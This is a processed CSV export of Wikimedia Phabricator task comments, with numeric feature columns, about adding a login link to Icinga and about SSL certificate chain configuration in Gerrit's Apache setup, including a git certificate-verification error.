%%%if you go to icinga, you already get a login pop-up anways, because of #6838%%%",,,1408656854,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-wfiyhr2z2izrmo3ynbp3,task_subcomment,,True,c2,3,True,,,51,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,12.0,5.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,15.0,10.0,0.0,5.0,12.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.075,0.725,"%%%On Thu Aug 21 21:26:52 2014, jeremyb wrote:%%%
QUOTE
QUOTE
%%%if you go to icinga, you already get a login pop-up anways, because of #6838%%%"
372634,"give icinga  a ""login"" link",//AdminCc jeremyb added by jeremyb//,,,1408656423,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-wfiyhr2z2izrmo3ynbp3,task_subcomment,,True,c2,3,False,,,51,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.4,1.0,//AdminCc jeremyb added by jeremyb//
372622,"give icinga  a ""login"" link",//Status changed from 'resolved' to 'open' by RT_System//,,,1408656412,,PHID-USER-j3rt67f2xk5rpkgcegnj,False,,,PHID-TASK-wfiyhr2z2izrmo3ynbp3,task_subcomment,,True,c2,3,False,,,51,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,25.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.166666666666667,0.75,//Status changed from 'resolved' to 'open' by RT_System//
372614,"give icinga  a ""login"" link",%%%My best guess at the intent was to have a link somewhere on icinga to icinga-admin. (which wasn't considered when closing?)%%%,,,1408656412,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-wfiyhr2z2izrmo3ynbp3,task_subcomment,,True,c2,3,False,,,51,True,0.0,0.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,10.0,14.0,0.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,7.0,7.0,3.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,3.0,0.0,0.0,0.0,3.0,0.0,3.7586206896551726,0.8275862068965517,%%%My best guess at the intent was to have a link somewhere on icinga to icinga-admin. (which wasn't considered when closing?)%%%
372605,"give icinga  a ""login"" link",//Status changed from 'open' to 'resolved' by dzahn//,,,1396961793,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-wfiyhr2z2izrmo3ynbp3,task_subcomment,,True,c2,3,True,,,31,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8333333333333335,0.75,//Status changed from 'open' to 'resolved' by dzahn//
372597,"give icinga  a ""login"" link","%%%closing because icinga and icinga-admin both have logins.%%%
%%%if there is an open ticket then it's to _remove_ the login on icinga (not%%%
%%%icinga-admin) again. (if we can)%%%",,,1396961778,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-wfiyhr2z2izrmo3ynbp3,task_subcomment,,True,c2,3,True,,,31,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,6.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,18.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,3.14,0.66,"%%%closing because icinga and icinga-admin both have logins.%%%
%%%if there is an open ticket then it's to _remove_ the login on icinga (not%%%
%%%icinga-admin) again. (if we can)%%%"
372586,"give icinga  a ""login"" link",//Status changed from 'new' to 'open' by RT_System//,,,1392384493,,PHID-USER-j3rt67f2xk5rpkgcegnj,False,,,PHID-TASK-wfiyhr2z2izrmo3ynbp3,task_subcomment,,True,c2,3,False,,,24,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,25.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,0.75,//Status changed from 'new' to 'open' by RT_System//
372576,"give icinga  a ""login"" link",%%%resolved by https://icinga-admin.wikimedia.org ?%%%,,,1392384493,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-wfiyhr2z2izrmo3ynbp3,task_subcomment,,True,c2,3,True,,,24,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.5,%%%resolved by URL ?%%%
372565,"give icinga  a ""login"" link",Dependency by ticket #6775 added by gage,,,1391627924,,PHID-USER-yyzsgjllkzfxdu44eeix,False,,,PHID-TASK-wfiyhr2z2izrmo3ynbp3,task_subcomment,,True,c2,3,False,,,23,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,0.875,Dependency by ticket #6775 added by gage
82319,Use SSLCertificateChainFile in Gerrit Apache configuration,"**Author:** `hashar`

**Description:**
%%%We have a bunch of virtual hosts explicitly declaring the SSL certificate to%%%
%%%use. Per Faidon review, we should instead use: SSLCACertificatePath%%%
%%%/etc/ssl/certs Then apache will find out which one to use. (note I have closed%%%
%%%the bug report, lets track this in RT).%%%

__________________________

**Bugzilla Ticket**: [[ https://old-bugzilla.wikimedia.org/show_bug.cgi?id=46325 | 46325 ]] => {T48325}


**Referred To By:**
{T82359}",Medium,50.0,1364300002,1433466619.0,PHID-USER-j3rt67f2xk5rpkgcegnj,False,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-TASK-uteqiw4n5ure7xs5mxho,task_description,resolved,True,c2,1,False,False,False,-23,True,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,2.0,4.0,0.0,0.5,0.5,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.5,0.0,1.5,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,10.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,1.5,0.0,11.5,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.5,6.0,0.5,0.0,1.5,4.0,4.5,0.0,0.0,0.0,1.5,0.0,0.5,0.5,0.0,0.5,0.0,0.0,3.0,2.7040241448692153,0.5737424547283703,"**Author:** CODE

**Description:**
%%%We have a bunch of virtual hosts explicitly declaring the SSL certificate to%%%
%%%use. Per Faidon review, we should instead use: SSLCACertificatePath%%%
%%%/etc/ssl/certs Then apache will find out which one to use. (note I have closed%%%
%%%the bug report, lets track this in RT).%%%

__________________________

**Bugzilla Ticket**: [[ URL | 46325 ]] => {T48325}


**Referred To By:**
{T82359}"
469692,Use SSLCertificateChainFile in Gerrit Apache configuration,Thanks @Dzahn :-),,,1433497197,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,3,True,,,92,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,ThanksSCREEN_NAME :-)
469566,Use SSLCertificateChainFile in Gerrit Apache configuration,"https://www.ssllabs.com/ssltest/analyze.html?d=gerrit.wikimedia.org

the ""-"" in ""A-"" is because we are not supporting PFS which is because the Apache is 2.2.x which is because ytterbium is precise",,,1433466795,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,3,True,,,92,True,0.0,0.0,0.0,0.0,3.0,3.0,13.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,20.0,13.0,10.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,13.0,10.0,0.0,13.0,0.0,3.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,3.6333333333333333,0.6333333333333333,"URL

the ""-"" in ""A-"" is because we are not supporting PFS which is because the Apache is 2.2.x which is because ytterbium is precise"
469564,Use SSLCertificateChainFile in Gerrit Apache configuration,"we use ""SSLCACertificatePath /etc/ssl/certs/"" in the Gerrit config (meanwhile) and that is ok too",,,1433466619,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,3,True,,,92,True,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,9.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,14.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.9090909090909091,"we use ""SSLCACertificatePath /etc/ssl/certs/"" in the Gerrit config (meanwhile) and that is ok too"
469563,Use SSLCertificateChainFile in Gerrit Apache configuration,">>! In T82319#1335241, @hashar wrote:
> Does #releng has anything to do there?  Seems like some infrastructure tech debt.

Actually, you are the author the bug :)",,,1433466480,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,3,True,,,92,True,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,23.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4615384615384617,0.8461538461538461,"QUOTE
QUOTE

Actually, you are the author the bug :)"
469551,Use SSLCertificateChainFile in Gerrit Apache configuration,">>! In T82319#1335241, @hashar wrote:
> Does #releng has anything to do there?  Seems like some infrastructure tech debt.

I added since we just added the entire releng team to gerrit admins.",,,1433465268,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,3,True,,,92,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,11.0,0.0,6.0,0.0,6.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,17.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,11.0,6.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8333333333333335,0.8888888888888888,"QUOTE
QUOTE

I added since we just added the entire releng team to gerrit admins."
469137,Use SSLCertificateChainFile in Gerrit Apache configuration,"Change 215508 merged by Dzahn:
ganglia: use SSLCertificateChainFile

[[https://gerrit.wikimedia.org/r/215508]]",,,1433437690,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,3,False,,,92,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,4.529411764705882,0.8235294117647058,"Change 215508 merged by Dzahn:
ganglia: use SSLCertificateChainFile

[[GERRIT_URL]]"
468555,Use SSLCertificateChainFile in Gerrit Apache configuration,Does #releng has anything to do there?  Seems like some infrastructure tech debt.,,,1433361996,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,3,True,,,92,True,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0588235294117645,1.0,Does #releng has anything to do there?  Seems like some infrastructure tech debt.
468459,Use SSLCertificateChainFile in Gerrit Apache configuration,"Change 215508 had a related patch set uploaded (by Dzahn):
ganglia: use SSLCertificateChainFile

[[https://gerrit.wikimedia.org/r/215508]]
",,,1433355295,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,3,False,,,92,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.208333333333333,0.875,"Change 215508 had a related patch set uploaded (by Dzahn):
ganglia: use SSLCertificateChainFile

[[GERRIT_URL]]
"
371395,Use SSLCertificateChainFile in Gerrit Apache configuration,"%%%After irc conversation with Chad:%%%
%%%he doesn't know about how git does cert verification so the buck is rightly%%%
%%%passed back to us.%%%",,,1397660451,,PHID-USER-jtxavgb3caz53o45csni,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,3,False,,,33,True,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,17.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,26.0,3.0,0.0,3.0,17.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6,0.7142857142857143,"%%%After irc conversation with Chad:%%%
%%%he doesn't know about how git does cert verification so the buck is rightly%%%
%%%passed back to us.%%%"
371386,Use SSLCertificateChainFile in Gerrit Apache configuration,"%%%On Wed Apr 16 09:03:45 2014, ariel wrote:%%%
> On Fri Dec 20 01:12:59 2013, dzahn wrote:
> > the problem is that if you do this for gerrit and think you do the
> > obvious fix
> > and Apache still works, then you just broke puppet-merge without
> > expecting it
> > at all!!
> >
> >
> > error: server certificate verification failed. CAfile:
> > /etc/ssl/certs/ca-certificates.crt
> > CRLfile: none while accessing
> > https://gerrit.wikimedia.org/r/p/operations/pusfatal: HTTP request
> > failed
> >
> > that is the real problem here, so maybe it should rather be a
> Bugzilla
> > ticket for Chad now.
>
> The whine is from git (git fetch, I suppose) and not anything fancy
> about
> puppet-merge. The standard openssl verfication on the chained pem
> works fine,
> so I don't know why giit wouldn't like it. Chad, do you want to look
> at the
> gerrit/apache end of this a bit?
%%%Huh? I have no clue what's going on here. Way over my head.%%%
%%%-Chad%%%",,,1397658151,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,3,True,,,33,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,35.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,3.0,3.0,32.0,1.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,2.909090909090909,0.3409090909090909,"%%%On Wed Apr 16 09:03:45 2014, ariel wrote:%%%
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
%%%Huh? I have no clue what's going on here. Way over my head.%%%
%%%-Chad%%%"
371374,Use SSLCertificateChainFile in Gerrit Apache configuration,"%%%On Fri Dec 20 01:12:59 2013, dzahn wrote:%%%
> the problem is that if you do this for gerrit and think you do the
> obvious fix
> and Apache still works, then you just broke puppet-merge without
> expecting it
> at all!!
>
>
> error: server certificate verification failed. CAfile:
> /etc/ssl/certs/ca-certificates.crt
> CRLfile: none while accessing
> https://gerrit.wikimedia.org/r/p/operations/pusfatal: HTTP request
> failed
>
> that is the real problem here, so maybe it should rather be a Bugzilla
> ticket for Chad now.
%%%The whine is from git (git fetch, I suppose) and not anything fancy about%%%
%%%puppet-merge. The standard openssl verfication on the chained pem works fine,%%%
%%%so I don't know why giit wouldn't like it. Chad, do you want to look at the%%%
%%%gerrit/apache end of this a bit?%%%",,,1397639025,,PHID-USER-jtxavgb3caz53o45csni,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,3,False,,,33,True,0.0,1.0,0.0,0.0,2.5,2.5,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.5,0.0,6.0,4.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.5,2.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,3.0,0.5,12.5,1.5,0.5,4.0,0.0,0.0,0.0,0.0,3.5,10.5,2.5,0.0,3.0,4.5,9.5,0.0,0.0,0.0,3.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,3.1440677966101696,0.5847457627118644,"%%%On Fri Dec 20 01:12:59 2013, dzahn wrote:%%%
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
%%%The whine is from git (git fetch, I suppose) and not anything fancy about%%%
%%%puppet-merge. The standard openssl verfication on the chained pem works fine,%%%
%%%so I don't know why giit wouldn't like it. Chad, do you want to look at the%%%
%%%gerrit/apache end of this a bit?%%%"
371366,Use SSLCertificateChainFile in Gerrit Apache configuration,"%%%the problem is that if you do this for gerrit and think you do the obvious fix%%%
%%%and Apache still works, then you just broke puppet-merge without expecting it%%%
%%%at all!!%%%
%%%error: server certificate verification failed. CAfile: /etc/ssl/certs/ca-certificates.crt%%%
%%%CRLfile: none while accessing https://gerrit.wikimedia.org/r/p/operations/pusfatal: HTTP request failed%%%
%%%that is the real problem here, so maybe it should rather be a Bugzilla ticket for Chad now.%%%",,,1387501979,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-uteqiw4n5ure7xs5mxho,task_subcomment,,True,c2,3,True,,,16,True,0.0,0.0,0.0,0.0,0.0,3.0,2.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,4.5,1.0,0.0,1.0,1.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,1.0,0.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,13.5,1.0,1.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.5,0.0,0.0,0.0,3.0,2.5,6.5,2.0,1.0,4.5,0.0,0.0,0.0,0.0,1.0,11.5,0.0,0.0,2.5,4.5,6.5,0.0,0.0,0.0,2.5,0.0,0.0,1.0,0.0,1.5,0.5,0.0,0.0,3.683446455505279,0.7386877828054299,"%%%the problem is that if you do this for gerrit and think you do the obvious fix%%%
%%%and Apache still works, then you just broke puppet-merge without expecting it%%%
%%%at all!!%%%
%%%error: server certificate verification failed. CAfile: /etc/ssl/certs/ca-certificates.crt%%%
%%%CRLfile: none while accessing URL HTTP request failed%%%
%%%that is the real problem here, so maybe it should rather be a Bugzilla ticket for Chad now.%%%"
371354,Use SSLCertificateChainFile in Gerrit Apache configuration,"%%%i renamed the ticket from being a global request to just being a Gerrit issue%%%
%%%now. the other services i believe we have all fixed.%%%
%%%why it had to be reverted for gerrit: https://gerrit.wikimedia.org/r/#/c/90676/%%%
%%%so gerrit still does not do this and the ticket is open but it is totally done%%%
%%%on other services now%%%
